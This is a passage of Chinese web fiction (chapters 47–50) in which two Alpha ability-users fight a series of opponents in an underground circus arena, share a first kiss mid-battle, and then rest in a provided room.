被凌空拎起来时,季长岁绷起腹部,借力半空回旋翻身,跟周观逸交换了个眼神,两人一上一下避开撞击,接着又眼神快速确认了下,两人上下错开的同时,反钳熊爪,一人抓一只,猛地向下落地—— 嘭!! 棕熊人被砸向地面,这一下可不轻,季长岁在满场音乐声中听见了反震在地面的回音。 棕熊人像是感知不到疼痛,迅速一个弹跳从地上起来,指甲缝中迸出双面锯齿刀片,观众席高声欢呼,他们站了起来为棕熊喝彩。 季长岁呼吸吐纳,握拳。 侧闪、摇闪、潜闪,季长岁动作漂亮流畅,在棕熊人迅捷且密度极高的出拳之中完美闪躲。他在看周观逸,周观逸从背后飞身爆头冲拳,季长岁看准时机抢步上勾拳! 棕熊人每一次被击倒都是轰然巨响。 继续交换眼神,没有任何语言交流的前提下全靠默契和从前的配合经验。季长岁后仰闪,周观逸跳步踹其下颌。 “它是……不会痛吗?”季长岁后撤步蓄力,“都打成这样了,三头熊也该趴下了啊?!” 周观逸抹掉唇角破裂淌出来的血:“可能注射什么药物了,看起来是不死不休。” 两人都微喘,异能的光亮在外眼角、腕关节微微渗着弥漫出来。 “控住他。”季长岁说,“想想办法,我需要起码1.5秒来拆解他这些……这些部件,少了这些外骨骼机甲之后应该会轻松点。” “明白。”周观逸点头。 周观逸先一步奔上前,起跳!空中拧身闪,腰下不到半寸就是棕熊人的锯齿刀爪——季长岁趁机呼吸吐纳凝神平气,此前长久的沙漠驾车和反击追兵让他异能消耗太多,不过……0.5秒聚气,再次睁眼气定神闲。 后0.5秒,周观逸跃至棕熊人背后,反绞背摔。 再0.5秒,季长岁飞身上前,提膝击下颚,棕熊人头颅后仰。季长岁一拳重击咽喉,另一只手钳住其天灵盖。他手很大,力气放在普通人头颅上简直是可以捏碎的程度—— 蓝光迸出,棕熊人嚎出的惨叫与现场爆裂的鼓点在斗兽场中心上空交汇撞击。 接着,此熊人的手脚机械部件先后脱落,季长岁看了眼周观逸。他点头,季长岁向侧一跃,滚地翻身,手掌扶地单膝撑起,抬头。 周观逸反绞后带着棕熊人一起连滚了几圈,握住其双肩,拧跨膝踹将其直接踹进墙里。 是的,墙里。 嵌进去了。 估计要抠一会儿才能掉出来。 第47章 第47章Alpha×2 静默了片刻。 音乐暂停,观众们连呼吸都不敢太强烈,这种氛围相当诡异,因为此前侏儒开枪射杀吸毒和吸烟者的时候,他们甚至都还闹哄哄的。 所以比起被枪杀,目前的比分才令他们更紧张。比命还重要。 斗兽场,就在侏儒所站着的独立看台的后方,一块不知是投屏还是真实的屏幕,那屏幕在战斗中是熄屏状态,再次亮起,几乎照亮了大半个斗兽场。 比起屏幕上的东西,季长岁更在乎环形看台上的人们。他微喘,又因为场内安静,也能听见周观逸在缓慢喘气。 看客们穿得精致而各有千秋,礼服、长裙、民族服饰、动物外形,还有几个绷带人。季长岁舔了下嘴唇,他还是有点发懵,再抬头看向他们掉下来的地方,所以上方地面是1号帐篷。 目前看来没有人继续掉下来,所以那几块松动的地砖是希拉斯为他们准备的。 周观逸看着屏幕,那上面很多名字,或者说很多称号,譬如排名第一叫做“战神1号”以及排名第二的“血浆冰沙”,如果这四个字在鸡尾酒单上,那么周观逸可能会想尝试一下。 接着,像搏击比赛那样,侏儒又一次站到话筒前:“4、3、2、1!IronBear战败!” 原来你叫钢铁熊,两人同时看向仍嵌在墙里的两米多且口鼻出血的熊。 等等、所以…… 他们也在分数榜上了。 侏儒有一把非常适合马戏团的好嗓子,浑厚又具备戏剧感,他从高处向下看,看着季长岁和周观逸:“我们的挑战者是两位先生,嗯……让我想想该怎么将二位一起编入分数榜呢……” 在侏儒思索之际,季长岁稍微后退了些,退到周观逸身边:“得想个办法把这斗兽场给速通了,不能被困在这里。” “嗯。”周观逸赞同,“怎么速通,叫那个分数榜上的一起上?” “这样是不是有点极端?”季长岁僵硬地看着他,“我们两个人干那熊都废这么大劲……上边那个‘战神1号’听起来跟这熊并不是一个阶级的。” 周观逸更震惊:“因为我们两已经42个小时没有休息过了。” “哦……”季长岁恍然,点头,“你这话有点道理。” 上方,侏儒终于想到了一个适合他们的称谓,于是他清了清嗓子:“DoubleAlpha!” 言出法随般,在IronBear从第8落去第9后,第8名一栏赫然出现了:Alpha×2 “wow——!!!”观众席爆发出惊喜到让季长岁觉得夸张的欢呼。 他抬头,台上的侏儒正低头在看他。 “那么,两位Alpha先生。”侏儒笑起来时有一种不加遮掩的邪气,“请稍作休息三十秒之后,继续挑战‘疯狂的搅拌机’!” “谁?”季长岁听不明白了。 “先别管是谁。”周观逸听见他们背后铁栅门升起后,管不了那么多,三十秒的休息不能愣在这里站着,“走。” 铁栅门背后是一个约莫十五平米的休息区域,和斗兽场较为传统的砖石结构不同,这里面甚至开着冷气。两把单人沙发非常干净,中间圆桌上有个医疗托盘,有一些基础的消毒棉球。 管不了那么多,两人立刻坐下,同时计时开始。 处理简单的伤口是作战经验的一部分,两人什么都不聊,这里没有镜子,看不见脸上的伤口,所以坐下后默契地用塑料夹夹起消毒棉球去清理对方脸上的伤口。 头面部的暴露伤口需要优先处理,接着是手上,时间不够了,铁栅门再次升起来。季长岁不知道超时休息会怎么样,但…无论如何,在这种尚未弄清楚情况的环境中,尽量不要违规。 “疯狂的搅拌机”并不是机器,是十二个头顶“长”出刀尖的光头男人。 坦白讲在此之后无论看见什么东西季长岁也只会一笑而过了。 显然,搅拌机…或者说搅拌机“们”在马戏团的人气很高,他们甫一出场,观众席的动静俨然如见着心爱的明星,尖叫、口哨、信息素…… “oh别这样!”侏儒发出不满的声音,“拜托,都说了不要影响到其他人!收好你们的信息素!” “砰——” 一枪打死了那如同泄洪般放出信息素的Omega。 “这管理方式……”季长岁感叹着。 “你是不是很欣赏?”周观逸笑得意味深长,看着他。 “稍微。”季长岁抿着嘴,“算了算了…我不能被这种扭曲的爽感污染。” 周观逸在那儿笑,等着侏儒倒计时。 而侏儒不愧是做生意的,他知道搅拌机的人气很高,刻意延迟了一会儿倒计时。就是这么半分钟不到的空隙中,观众席里有人向这斗兽场里扔金币。 “别捡啊。”季长岁看着前边不到三米就有一枚。 金灿灿的,极具吸引力。 “我当然知道。”周观逸很意外,“我们又不是真来当打手的。” “我是在提醒我自己。”季长岁对他说,“它是金币,又不是金币巧克力,对你没有吸引力我知道的。” 侏儒“呼~”了一声:“好啦好啦,尊贵的观众们,请不要再投掷金币了——不不不钻石也不行,那位女士,收回去,否则开枪喽。” 周观逸颇为无奈,好吧没事,这里没有任何其他人会听到,他也不会去举报季长岁有什么心态不端正之类……随着搅拌机组合热情地用飞吻回应观众们,他们二人面前的地面砖石有所松动,季长岁拽着他后退了一些。 松动的砖石下沉,从幽深的地里升起一个窄长的武器架。侏儒微笑着说:“这是一轮可以使用武器的比拼,亲爱的挑战者,你们用热武器非常厉害,看看冷兵器如何吧~” 听到这里,季长岁骤然明白了—— “他就是希拉斯。”季长岁说。 “那么目标明确了。”周观逸上前一步,抽出一柄长剑,“拿武器,找机会靠近他。” 可供选择的武器并不多,长剑、匕首、锤、短刀,没了。 季长岁拿了短刀,正手握。然而也是很快他们明白此轮可以拿武器的原因,对面的“搅拌机”的10个人以一个杂技式的堆叠、扣嵌,一个拽一个、一个抱一个,接着,最后那两个,一个踩在另一个肩膀上。又因为他们的光头上假装了刀片,所以此时他们确实…… 现在有点像搅拌机了。 “挺……”季长岁试图评价,“算了我找不到什么好词。” “别找词了。”周观逸调整到一个舒适的握剑姿态,“我们现在2v12。” “大奖赛第二轮——开始!!”侏儒宣布。 用刀的逻辑和拳、掌相似,随着侏儒的声音通过话筒穿出音响,在圆形斗兽场中回荡,12人组合的搅拌机如同共享大脑,他们在场地中央以肉眼无法分解的动作,所有光头的刀尖部分向外。 也是很快的,这12个人完成组合后,让所有人知道了他们的“疯狂搅拌机”并不仅是外观上的搅拌机。 他们转起来了。 “啊?”季长岁愣住,“真是搅拌机啊……” “别看了。”周观逸松了松衣领,“上。” 这样看来,搅拌机能冲到分数榜第七名并不奇怪,因为他们就这样飞速旋转切割,整体像是个在榨汁机里开到最快档位的轴体。 “周观逸!”季长岁跟他一人一边,“卡住他!” “明白了!” 12个人像个庞大的刺猬,首先要迫使他们停下来。这简直就是置身于料理机中……季长岁需要分析他们的旋转轨迹。有轨迹就有规律,有规律就有破绽。 在此之前,不能被杀。 他们旋转的速度越来越高,季长岁感觉正中心那个人作为人力能源委实核心很强,这换自己上,估计没一分钟就吐了。 季长岁上步横斩,刀锋跟光头的刀片剐出火星子。同时跟周观逸在半空交换眼神,季长岁上步撑墙一跳,极强的腰腹力量与十足精准的角度,计算出搅拌机旋转的细微缝隙——季长岁飞身侧踹过去,踩住稍下方的刀片、单云手,如有残影般穿过层层刀片,徒手扼住刀片中心的一只脖颈。 搅拌机察觉不妙,想要将季长岁甩出去。他们一齐向墙面移动试图将他推去墙上搅碎。 周观逸在另一侧同样的技法,但他速度没那么快,只将剑身卡进几扇刀片之内。 仅仅他们打的第二轮,观众席已经出现了粉丝,他们扯着嗓子在音乐声中大喊着“DA”。周观逸抬头,季长岁有些吃力,背后不到二十厘米就是墙,绝对不能被撞去墙上,那真是捡都捡不起来,会直接血肉纷飞。 “换剑给我!”季长岁喊。 周观逸不假思索地抽剑,季长岁咬着牙徒手抓住头上一扇刀片,握紧它把自己捞上去,一个翻身:“接着!” 一刀一剑在半空中交换,各自接住。 他们爬上搅拌机的顶端,这里无处可下刃,轴体中心那人的脑袋像个菠萝头。季长岁眼睛一眯,低头,搅拌机已经来到墙边,季长岁侧身一滑,没入茫茫飞刃中心,异能没有被驱动而自主释放,这是高阶异能者在精神力无比强大时所连带的释放。 周观逸意识到了他想要做什么,自己转身一样滑下去。 长剑剑柄卡在墙壁砖石缝隙中,剑身随着搅拌机转动的惯性刺进其中。 他们停下了。 “周观逸,拽!” “明白!” 搅拌机的12个人各自以拧麻绳的方式纠缠在一起,他们一时之间无法卸力。两人一人一边就这样生生扯开了他们! 血肉纷飞。 季长岁甩了甩手,手掌心横着一道血口子:“草,疼死我了。” 周观逸站在另一边看着他。 季长岁问他:“受伤没?” “没。” “那就好。”季长岁点头,“哎真疼。”他重复,又看周观逸:“来给我吹吹。” 第48章 第48章这个吻打断了净化异能。…… 叫周观逸过来是真心的,叫周观逸吹吹是开玩笑的。因为这口子不算太深,高阶异能者有一定的自我疗愈能力,他清理一下刀口周围就好。 他只是想要周观逸站过来,站到自己身边。 “随便吹吹就行。”季长岁抬起手来。就像上一次他把周观逸手攥痛了,周观逸叫他随便吹吹。 Alpha×2升至分数榜第七位,他们的休息时间也从三十秒升至一分半。还是那个铁栅门后边,托盘上仍是简单的酒精棉球,显示着倒计时的钟在他们坐下的那一刻开始倒数。 周观逸真的有认真吹,高阶异能者的愈合速度较普通人来讲更快,血已经没有继续向外淌,所幸“搅拌机”那些光头脑袋上的刀片挺干净的。起码看起来挺干净,目测没有涂抹什么毒药。 斗兽场内跑进去十来个工作人员做清理,他们把“搅拌机”被扯开时掉落一地的人体组织、手脚和胳膊连通观众们扔下来的金币一块儿收进巨大的垃圾袋里。 周观逸又吹了吹,他们背后各站一个拿着枪的人,一男一女,穿得非常“马戏团”,泡泡袖衬衫,浮夸的领结装饰,鞋尖弯弯得翘起来。 季长岁被他抓着手,不知怎么的有点不敢看他。于是回头问自己后边这个人:“请问,这场大奖赛的奖品是什么?” “是时间,先生。”由于化妆过甚,他笑起来时脸上笑得非常骇人,“您可以获得在希拉斯马戏团生存的时间,这些生存时间您也可以带去外面。” “……”季长岁没再追问。 他自己意识到了,周观逸也顺带捏了捏他的手来提醒他。别问了,到时候就知道了。如果是什么邪教,那么这个侍从所知道的东西,也只是希拉斯希望他知道的。对他们没有帮助。 他们最后用棉球清理了一下婚戒,上面沾了些血迹和组织。 “搅拌机”组合败落之后,有部分观众提前离席了,他们啜泣着,像是失去了心爱的东西,无比痛心。然而仍留在这里的人里有一部分已经开始欢呼“DoubleA”来为他们应援,一分半钟转眼就结束,他们要继续出去开始对战下一个。 季长岁抬头,侏儒也在看他。 “亲爱的观众们。”侏儒收回了视线,“改变应援也是要花钱的哦,别忘了立场前在二楼缴费……那么,新来的挑战者,请迎战下一位吧!” 第六名在分数榜上的称谓是“僧”。 于是非常合理地,走出来一位外貌看起来是僧人的人,他拿着长棍,眼睛紧闭。 不加任何装饰的黑色僧袍,皮肤黝黑,身形壮硕。 到这里,季长岁和周观逸两个人的体能已经消耗得很多,可以说从昶州飞到沙漠军用机场降落至今都没有休息过,所摄入的只是两包能量饮料。 能撑到现在,要感激Alpha天生的体质和高阶异能者耐造的特性。两人对视一眼,这种孤零零的,浑身没什么利器的选手,往往才是最难搞的。 同样,这也是一位高人气选手。“僧”迈出来之后,季长岁觉得来斗兽场看表演的人都多多少少脑子有点大问题。那侏儒都已经开枪杀了个吸毒的,杀了个吸烟的,杀了个过分释放信息素的,仍有人掏烟点火,侏儒遗憾地“oh”了一声,平等射杀。 比起跟观众席飞吻的搅拌机12人组,僧人十分沉稳,他甚至先跟二人鞠了一躬……搞得季长岁和周观逸很尴尬,是要回敬一下吗……犹豫之际,接下来僧人说话了:“两位戴着同样的戒指,看来,死在一起比较符合婚姻誓言。” 季长岁有些不爽了:“我们人生计划暂时没有列到死亡,大师。” “时间不这么认为。”僧人说。 这是个耐人寻味的回答。季长岁还记得当初在谷福村里,卢翠的丈夫李河添念念有词着那句“大黑天、三尺神”,以及在追捕加兹拉尔时在酒吧三楼那道机械异能进不去的门上,雕着一幅巨大的,精致的《摩诃迦罗》。 摩诃迦罗,Mahkla,可被译为“大黑天神”。而“kla”在特定语境中又可译为“时间”。 在“僧”的话中,他认为“时间”是一个会有自己所“认为”的事件的存在。 季长岁还想问些什么,“僧”已经疾步冲了过来! “等等!”不知为何,季长岁觉得他可能是整个马戏团里唯一一个可以把事情给自己说清楚的人。 但僧人并没有等任何东西,那棍子在僧人手里转得像螺旋桨。周观逸上前按掌拦挡,季长岁趁机侧身至他右边,又说:“大师,这个‘时间’还有什么不认可的事情吗?” “时间不认可生命。”僧人说。 僧人说完,周观逸被他撤步蓄力又上步一发肘顶,不得不后仰闪避,同时看向季长岁,眼神中有疑问:要在这个时候聊天吗? 周观逸的精神力不太能顶得住了,太久没睡觉,太累。他明白季长岁也是一样,机械异能或许会好一点儿,但也仅仅是一点儿。 季长岁收到了他的信息,在僧人回身扫棍时原地跳步,空中拧胯飞踢。僧人侧闪小臂格挡,季长岁趁机攥住长棍,试图缴过来——“嘶。”过电了!他震惊,那居然是个电棍!? “等会儿!”季长岁震惊,“这不违规吗!?” 虽然他不知道规则是什么,但他决定先质疑。 周观逸则不管那么多,冲上去徒手攥住那棍子开始净化——冷银色的异能光呈爆裂状态炸开!季长岁跟着一起冲过去,他感知到了这种电磁力量不太正常,僧人多半是电磁系异能者。 季长岁的精神力也不太乐观,但他必须跟周观逸并肩作战。季长岁双手呈爪状,双眼透蓝,幽蓝色的光整个覆盖掉眼白部分。 僧人横扫甩开周观逸,季长岁眼睁睁看着他被极强的震力摔到墙上,那力道绝非寻常,周观逸整个后背摔到墙上停留了片刻才掉去地上。 并且,他挣扎了两下,才用手撑起来一些。 季长岁的视线从周观逸身上移到僧人的脸,下一瞬,他整个眼眶向外扩散出异能光,盛怒之下的精神力像是被打了肾上腺素,季长岁呼吸吐纳。 疾步上前、骤停,高鞭腿的速度在肉眼看来甩出了残影,都没有看清他出腿的动作,僧人眼神一晃,紧接着被双手抓肩膀,季长岁凌空再一提膝! “嘭——!” 僧人仰面倒下。季长岁爆起一跃,只见斗兽场的砖石地面以树杈状微微裂开,它绽开的中心,是季长岁俯冲而下的一拳。 僧人闪避得及时,他胸膛剧烈起伏,那是人类遭受生命威胁之后最基本的反应……如若躲闪不及,他确信,那一拳砸在头上,必死无疑。 季长岁站起来,手关节连挫伤都没有,他左右活动了两下脖子,说:“妈的敢这样打他?我今天看看你命有多硬。” 僧人重新站定,长棍上滋滋啦啦地环绕着电流。 季长岁蓄力又一次疾步,左摆拳、右摆拳、直拳击面!曲臂格挡电棍,再以横向转手、捋,正握其长棍,机械沟通异能在百分之一秒内切断其中电源供应,但同时他自己仍是被电了一下,酥麻感顺着手臂传来身躯。 那边,好不容易爬起来的周观逸以为自己看错了……季长岁在笑。 他并不是狞笑,而是愉悦地在笑。 季长岁身形如魅,观众席一片宁静,所有人几乎忘记呼吸,双眼紧盯着他。甚至有人觉得季长岁比他的影子先一步到了僧人的背后。上背裸绞!电光石火间,僧人欲撑棍侧踹甩掉他,狂暴状态下的季长岁咬着牙发出狩猎者最后的怒音—— 周观逸完全看呆了。 那绝不是人类能做到的程度,僧人没能甩下他,企图过背摔!季长岁笑得残暴,右脚撤步撑地,别臂一摔! 僧人的长棍脱手,咣当落在地上,下一刻仿佛陨石触地,首先出现的是浓烟。 季长岁站在场中,他眼中的光没有丝毫黯淡,冷冷看着斗兽场的墙。慢慢地,灰尘烟雾散去,僧人从墙上摔倒地面,半晌不动。 分数榜,Alpha×2上到第六。 铁栅门升起时,季长岁没有回头,他还站在那里,抬头:“希拉斯,直接下一位。” 观众席顿时爆发出令人耳鸣的尖叫!! 侏儒为他轻轻鼓掌:“没问题,亲爱的挑战者。下一位我们请出排列第五的‘驯兽师’!!” 显然,观众们已经完全被Alpha×2这三场战斗所折服,甚少听见他们欢呼“驯兽师”,而是依然在整齐划一地喊“DoubleA”。 “季长岁。”周观逸抹掉唇角的血,走过来到他身边,“克制。冷静。” 他看出来了,季长岁即将失控。可怕的是,与他痛殴赵胜那次一样,季长岁失控的时候异常冷静,冷静就体现在他能够非常完美地驱动异能。譬如切断僧人电棍里的电磁结构,那绝非一个失控异能者能做到的。 季长岁的“失控”和大众认知里的失控完全不同,大相径庭。 “季长岁,这轮我来。”周观逸握住他手腕。 “不行。”季长岁转过头,他两只眼睛如两团燃烧的蓝色火焰,“我已经这样了,来不及了。” “来得及的。”周观逸看着他,“没关系,这里没有人监管到你,但你绝对……绝对不能失控。那样正中他们下怀,不是吗?” 季长岁有些恍惚,他感觉灵魂和躯体在两个位面:“放开我。” 他现在没有其他念头。 他只想把那个分数榜上的所有人杀光,然后逮捕希拉斯,再带着周观逸离开这里。他已经……陷入了自己的意念中。 周观逸猜测,这是个针对季长岁的惊天之局。 这个得以充当“能源”的高阶异能者,得之可得千军万马。 周观逸不能让这种事情发生……他握着季长岁的那只手开始驱动净化。 然而在感知到他开始净化自己的时候,季长岁没有出现周观逸预料中的盛怒,或把自己甩开,或干脆抽出手来一个正蹬将自己踹出去—— 季长岁侧挪一步,贴近他。 迎面过来的是幽蓝的光,接着,周观逸只觉得唇上有什么滚烫的东西贴过来,肩膀被按住……他吻了过来。 同时,这个吻打断了净化异能。周观逸整个人僵直了。 季长岁在斗兽场中央亲吻他。 第49章 第49章Aw 周观逸霎时明白这吻是个陷阱,绝对是陷阱,季长岁明白只有这种程度的冲击力才能中断净化异能……事实也果然如此。 这个吻可以说是侵袭过来,带着他刚刚战斗过的热能,但视觉上他的异能光又是冷色调,给周观逸一种冰火交加的感觉。 季长岁的嘴唇贴着他,紧张得要命,有一种喉结要把自己堵窒息的错觉。 不过他确信周观逸也非常紧张,这份紧张和在婚姻登记处不一样,那时候周观逸紧张得直接净化了他,这时候周观逸紧张得没能继续净化他。 这个地方绝对属于“大庭广众”的概念。季长岁没有幻想过自己的初吻会在什么情境之下发生,但绝对、绝对不是这种地方。但事情真的发生了之后,季长岁又觉得地点情境没什么问题,只要是这个人就可以。 季长岁的手像兽爪,紧绷着,从周观逸的后肩移到他颈椎序列第七位。他不会接吻,周观逸此时此刻的呆滞程度证明了这位也不会接吻。两个处男Alpha连信息素都屏住了。 技巧为零,但存在着基础的本能。季长岁那只僵硬的,扶在周观逸后颈下方的手将他向自己按。他伸了舌头,季长岁不知道为什么要伸,但这时候他简直是亮出獠牙的狼,不必有谁来教他如何撕咬食物再吞咽下肚。 周观逸感受到那是季长岁探过来的舌头时,脑袋一片混沌,像是吃了什么致幻的东西,甚至有那么一个眨眼的念头错以为这里是个幻境。 但他还是张嘴放他进来。陌生、惶恐,又狂喜,海啸撞起的波峰,地壳无规则地颤抖,全部发生在周观逸的意识里。他无措地抓着季长岁的衣服,机械异能者在大部分时间里体温偏低些,但这个时候他像是运行了太久而发烫的电器。他发烫,舌头也是,溜进来后在周观逸的舌头上剐蹭。 他在蹭,蹭的每一下都让周观逸心脏在洗衣机里反复摔打。 周观逸闭上眼睛。 观众席有人落泪了,侏儒希拉斯也手臂趴在看台栏杆上,满眼幸福地看着他们。 有人发出“Aw”的声响,像是在看毛茸茸的小动物互相舔毛。 季长岁最后在他下唇轻轻咬了一下,仿佛是对他企图净化自己的惩罚。然后退开一些,由于他满眼都是异能光,周观逸无法辨别他眼瞳在哪里,以至于他看着季长岁的目光很茫然。 “我现在……”季长岁吞咽了一下来让自己声音不要太颤抖,“听着,我现在状态很好,但你需要休息,可能等下我透支太多反而需要你背着我出去,总之…周观逸,我们不能死在这里。” 周观逸喘得有点狼狈。理智告诉他不能这样,继续让季长岁去透支异能和体能,最终必然会无可收拾地失控,这样一来季长岁要么加入希拉斯马戏团,要么回去被收入失控异能者管理局……因为加兹拉尔已经被捕,他没有“恶作剧”这项异能的干扰。没有了借口。 希拉斯就那样趴在上边,捧着脸看着他们,像是春心萌动地看着高浓度荷尔蒙的偶像剧。说得再简单点,他很上头。 周观逸摇头,边摇头边退后了两步,他必须跟季长岁再拉开一些距离才能冷静思考。同时要避免季长岁再次不管不顾吻过来,那他可能真的就丢盔弃甲,他紧急重拾军人意志,刚刚被季长岁吻得从脑子里掉了出来,他必须得赶快捡起来掸掸灰叫它继续运行。 “我们不会死在这。”周观逸说,“我们在外面有援军,失联了这么长时间,陶诚、白珊宇他们一定会对马戏团封锁搜查,我们一个警官一个军官,不会让我们就这样消失掉,对不对?你想一想。” 季长岁有些恍惚,其实他自己思维不是很清醒,或许是因为从前作战都是被拎去一个远远的狙位,所以慢慢在他这里形成了一种向来孤军奋战的错觉。他想要保护周观逸,却也忘了,他并不是孤零零的一个人。 警队的通讯器就在领子上,只不过目前它没有信号。 周观逸看着他:“还没到那个时候,远远没到。” 希拉斯在看戏,他似乎很欣赏这样的剧情。季长岁的异能有所收敛,方才几乎变异的盛怒也渐渐消弭。 过度劳累下,思维逻辑确实会受到影响,如同熬鹰,他们一直在被熬着。加兹拉尔和唐枯木只是增香佐料,这口锅一直在文火慢炖。 “年轻人赤诚的爱情呢~”希拉斯说着,他的声音通过话筒,在斗兽场里回旋。观众之中有人攥着手绢眼噙热泪,不知是真心还是演技。总之在人类社会中有一部分人认为,比起做-爱,接吻更爱。 而爱总是令人动容,就连已经走出铁栅门的驯兽师都双眼柔和了许多。周观逸还在等他的回答,迟迟没有等到,但希拉斯已经准备好进行倒数。 “季长岁。”周观逸目不转睛,换了个称呼,“老公?我们…我们可以继续下去,撑到援军找到我们,好吗。” “……好。” 虎行似病,是老虎在狩猎时以残喘姿态来迷惑猎物,这时候虎会将重心稍微放低,让猎物放松警惕。 驯兽师左右召唤出两只成年老虎,成年虎的咬合力可达500公斤,嚼他俩和嚼脆骨没什么区别。季长岁的异能没有完全收回去,普通自然系异能者召唤野兽,多数是召唤一个野兽幻象,它们具备野兽的基础攻击能力,外形上是绿色自然异能光产生的模型。 但这个驯兽师,显然他召唤出来是真正的成年虎。生物意义上的。 放在平时,精神力和体能都在充沛状态下,两个高阶异能者对阵两只成年老虎并不难。可现下状态低糜,不晓得能撑到哪一步。 野兽咬着牙低吼着,自然系异能的“驯化”类别中,驯兽师曾经的称呼是“兽王”。 他们自身没有特别强大的战斗力,召唤野兽为己作战,野兽们认其为主,战斗到生命的最后一秒。 两只虎降低重心,下巴几乎摩擦在地面,双肩上耸,虎眼渗着寒光。季长岁调整呼吸,机械异能者能够激活异能来强化皮肤。他看了眼周观逸:“你尽量近身驯兽师,我解决两只老虎。” “……”周观逸沉默。 “我认真的。”季长岁说,“我强化皮肤起码能经得住一口,你只有一口的时间去解决他,否则以后就有两个老公了。我的上半截和下半截。” “……”周观逸无话可说。 据说传说中有驯兽师可以召唤上古魔兽,不过那也只是“据说”中的“传说”,目前记录在册的异能者之中最高阶的大约也就是眼前这样的,召唤出实体的野兽。 那驯兽师显然还有奇招,他双手举过头顶,在周观逸起跳落劈一掌时,地面瞬间浮起一滩水,水中一条巨鲸张着嘴向上冲过来——周观逸不得不侧过身,踩住鲸鱼的上颚借力一闪。 “唰——”巨鲸没回地面下方,溅起巨大水幕泼向观众席两侧。上方希拉斯淡定地举起一把彩虹伞,上前:“咳咳,别再这样了,驯兽师,我不喜欢淋湿自己。” 所有人都很畏惧希拉斯,尽管是能够召唤实体野兽的驯兽师……他点头以表示明白。 季长岁那边已经几乎化作一团暗蓝色的烟尘,在两只暴怒的成年虎之间尽量躲闪。他的精神力已经不足以支撑高强度战斗。周观逸则恰好落在铁栅门前。 他回头看了眼那门,一道道的铁栅栏,再看了眼即将被追上的季长岁在那儿飞檐走壁。周观逸狠咬了咬牙,看台上希拉斯收起雨伞,略有些惊讶:“损坏斗兽场内设施是要赔偿的哟,长官。” 周观逸奋力徒手扯下铁栅中的一根铁棍,他箭术上乘,脚踢棍,铁棍在他掌中转了个花,尖端向上,接着全力一掷,苍龙贯日——! 快要咬到季长岁那只虎被钉在墙上,另一只赫然放缓动作,转头看向周观逸。 驯兽师见状,收回伤虎,他召回的速度极快,老虎直接消失在墙上。接着一转身,从他袖中飞出不计其数的黑蛇。 周观逸手上没了武器,蛇雨扑面而来,他定了定神,先闭上眼睛。 在没有引导下的异能净化会受到诸多限制,周观逸觉得自己触碰到驯兽师的概率实在太小,但这些蛇……由于密集,每条蛇几乎粘黏着,而蛇阵的最后位置就是驯兽师本人。 这些蛇扑上来的瞬间,季长岁像哑了似的叫不出来。 数量极度庞大的蛇群以惊人的速度完全正面覆盖住了周观逸,观众席有人捂住眼睛,有人起了一身鸡皮疙瘩。 然而…… “啊啊啊啊啊——!!!”驯兽师回收不及,那些蛇一个黏着一个传输过来的银色异能光原路来到驯兽师身上,那是净化!周观逸通过蛇群的引导,正在净化驯兽师! 季长岁趁机跃步上前!背绞!摔! 驯兽师正面向下,被季长岁如摔打手擀面那样“咣!”甚至触地后还回弹了一下。 他们喘息着,累到下一刻就会瘫软在地。 如果再继续来一场,恐怕真的会枯竭致死。季长岁回过头,周观逸的状态同样很差。这时候希拉斯又一次走到话筒前:“休息时间,尊贵的客人们,下一场见。” “挑战者,请跟着小精灵去你们的休息室吧。”希拉斯笑眯眯地说,“对了,你们的朋友们之中也有非常厉害的战绩。” 他眯起眼,又说:“你们可能会在明天,或后天的大奖赛上……碰面呢。” “什么……”季长岁愣住,又看向周观逸,“难道…难道他们也被拖到这地下来了?” “我不知道。”周观逸摇头,“先走,我现在没有…没有那么多力气分析这个了。” 两个人疲累地跟在穿成蓝精灵的人身后。这地下看起来像是一个个囚笼,但走廊转弯的地方,头顶有一块玻璃。 他们透过玻璃向上看,浓厚的夜空一些碎星,外面看起来澄净安宁。那些星星间或闪烁着,可能时间没过去几个小时,但季长岁却觉得过了太久太久。 “请。”那蓝精灵向一扇门比手,“二位的房间。” 开门进去,里面的装修是森林木屋。壁炉,吊床,一口咕噜噜冒着热气的锅,里面煮着番茄、牛肉、土豆混合的浓汤。 第50章 第50章手里但凡攥一把左轮,他…… 以前会在网上刷到类似的问题:你非常饿、非常脏、非常困,会如何选择吃饭洗澡和睡觉? 季长岁那时候有考虑过,先洗澡,简单吃一口,再睡觉。 然而事实是,他和周观逸浑身血污,因为身上太脏了没坐椅子,饥肠辘辘,一人抱着一碗浓汤蹲在锅边吃。那口锅下边是电磁炉,摆在房间的角落,侧面墙上是一个通风口。 浓汤里是牛腩、洋葱、土豆和通心粉,应该是另外加了番茄膏,放在平时,季长岁并不喜欢这么太浓的蕃茄味,但现在他饿得都有些凄凉了,一碗吃完又盛一碗。旁边周观逸也闷头吃着不说话,两个人身上衣服破得一缕一缕,沾着可能是自己的也可能是别人的血迹。 这种时候评价不上好吃难吃,两人分着把一整锅都吃完后,默契地放下碗,在房间墙根地上坐了会儿,缓神。吃得太撑,不好立刻去洗澡,但因为身上太脏,也不想去坐沙发或床。尽管这儿不是自己家,但仍然保留着刻在DNA里的习惯。 此前种种实在是太过混乱,荷尔蒙和肾上腺素都有不同程度的狂飙过,所以现下安静下来,静到隐隐地能听见对方的心跳,还是有些……尴尬吗?似乎也不是尴尬,季长岁偷偷看他一眼,但这人实在敏锐,被逮个正着。周观逸问:“怎么了?” “……我。”季长岁咽了一下,紧急找了个偷看他的理由,“我先去洗澡,你再坐会儿。” 说完径直站起来去卫生间。 甚至可以说是逃去卫生间。 卫生间的设备齐全,有淋浴有浴缸,季长岁看了眼水池那儿,牙刷牙膏刮胡刀和腺体生物贴什么的都齐全,以及两套装在塑料密封袋里的睡衣睡裤。季长岁没觉得多贴心,反而一阵胆寒。 也就是说,希拉斯早就知道了自己和周观逸会过来,甚至都不用拆,季长岁猜测那睡衣的尺码也绝对合身。 希拉斯这个……变态。 季长岁打开花洒洗澡。 不知道几点,也不知道白天黑夜。 如果是寻常状态下,季长岁能够估算出时间,但这次没那么简单,且不说长时间的沙漠行车和连续作战,再加上那个吻……他在脑袋上抓着洗发水,停下来了。 吻。 有一个吻,发生在他和周观逸之间。 “……”愣神之际,洗发水泡沫掉眼睛里了。季长岁立刻转过去迎着花洒冲,沫子都冲出去后好多了,短促地“呼”了一声。 